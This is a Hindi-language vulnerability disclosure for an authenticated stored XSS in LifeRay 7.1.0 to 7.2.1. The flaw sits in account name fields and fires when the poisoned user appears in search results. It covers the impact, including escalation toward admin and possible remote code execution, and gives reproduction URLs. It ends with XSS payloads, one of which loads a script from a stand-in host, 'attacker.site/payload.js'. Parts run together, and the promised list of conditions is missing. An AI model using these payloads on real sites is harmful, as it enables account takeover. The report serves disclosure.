
प्रमाणित Stored XSS LifeRay 7.2.0 GA1 में MyAccountPortlet के माध्यम से Search Results द्वारा निष्पादित
LifeRay संस्करण 7.1.0 से 7.2.1 GA2 में उपयोगकर्ता खातों के लिए प्रथम नाम, मध्य नाम और अंतिम नाम फ़ील्ड एक संग्रहीत XSS समस्या के लिए कमजोर हैं। कोई भी उपयोगकर्ता इन फ़ील्ड को एक विशेष XSS पेलोड के साथ संशोधित कर सकता है और यह डेटाबेस में संग्रहीत हो जाएगा, उपयोगकर्ता को "संक्रमित" कर देगा। फिर यह पेलोड तब प्रस्तुत होगा जब कोई उपयोगकर्ता अन्य उपयोगकर्ताओं को खोजने के लिए खोज सुविधा का उपयोग करता है। यदि संक्रमित उपयोगकर्ता को खोज परिणाम के रूप में प्रदर्शित किया जाता है, तो XSS पेलोड निष्पादित हो जाएगा।
यह कमजोरी एक हमलावर को किसी भी उपयोगकर्ता के संदर्भ में मनमाना कोड निष्पादित करने की अनुमति देती है जो खोज के माध्यम से XSS पेलोड को ट्रिगर करता है। व्यावहारिक रूप में, इससे एक गैर-विशेषाधिकार प्राप्त उपयोगकर्ता से प्रशासनिक उपयोगकर्ता तक विशेषाधिकार वृद्धि के साथ-साथ अन्य खातों को अपने कब्जे में लेने में पार्श्व गति हो सकती है। इसके अलावा, जो कुछ भी जावास्क्रिप्ट के माध्यम से निष्पादित किया जा सकता है, उसका दूसरे उपयोगकर्ता के संदर्भ में शोषण किया जा सकता है।
जैसा कि आप प्रूफ ऑफ कॉन्सेप्ट (PoC) में देखेंगे, यह पूरी तरह से खुला है क्योंकि हमलावर के पास डिफ़ॉल्ट संदर्भ में आसानी से बाहरी स्क्रिप्ट लोड करने की क्षमता है।
अधिकांश महत्वपूर्ण सत्र कुकीज़ को HTTPOnly के रूप में चिह्नित किया जाता है, जो सामान्य सत्र अपहरण तकनीकों को ज्यादातर रोकता है। हालांकि, यह ध्यान दिया जाना चाहिए कि पुराने ब्राउज़रों वाले उपयोगकर्ता XST हमलों के कारण इससे और भी अधिक प्रभावित होते हैं।
चूंकि एडमिन उपयोगकर्ता गोगो शेल और ग्रूवी स्क्रिप्ट कमांड निष्पादित कर सकते हैं, इसलिए इस शोषण को इन सामान्य रूप से अभिप्रेत सुविधाओं के साथ जोड़कर गैर-विशेषाधिकार प्राप्त उपयोगकर्ता से होस्ट सिस्टम पर अनावश्यक RCE प्राप्त करना भी संभव हो सकता है।
इस कमजोरी को ट्रिगर करने के लिए दो शर्तें पूरी होनी चाहिए:
एक बार ये शर्तें पूरी हो जाने पर, कमजोरी का शोषण करने के लिए निम्नलिखित चरणों का पालन किया जा सकता है:
खाता सेटिंग अनुभाग पर नेविगेट करें
खाता सेटिंग पर क्लिक करेंhttp://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????सहेजें पर क्लिक करेंhttp://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive पर नेविगेट करके और दाईं ओर "तीन बिंदु" आइकन पर क्लिक करके शामिल हों का चयन करके एक साइट में शामिल हो सकते हैं।http://mysite.com/web/guest/search?q=<मेरा उपयोगकर्ता>
<<SCRIPT>alert("XSS");//<</SCRIPT><SCRIPT SRC="//attacker.site/payload.js"><SCRIPT SRC="//xss.rocks/xss.js"/>रिपोर्ट संस्करण 4.0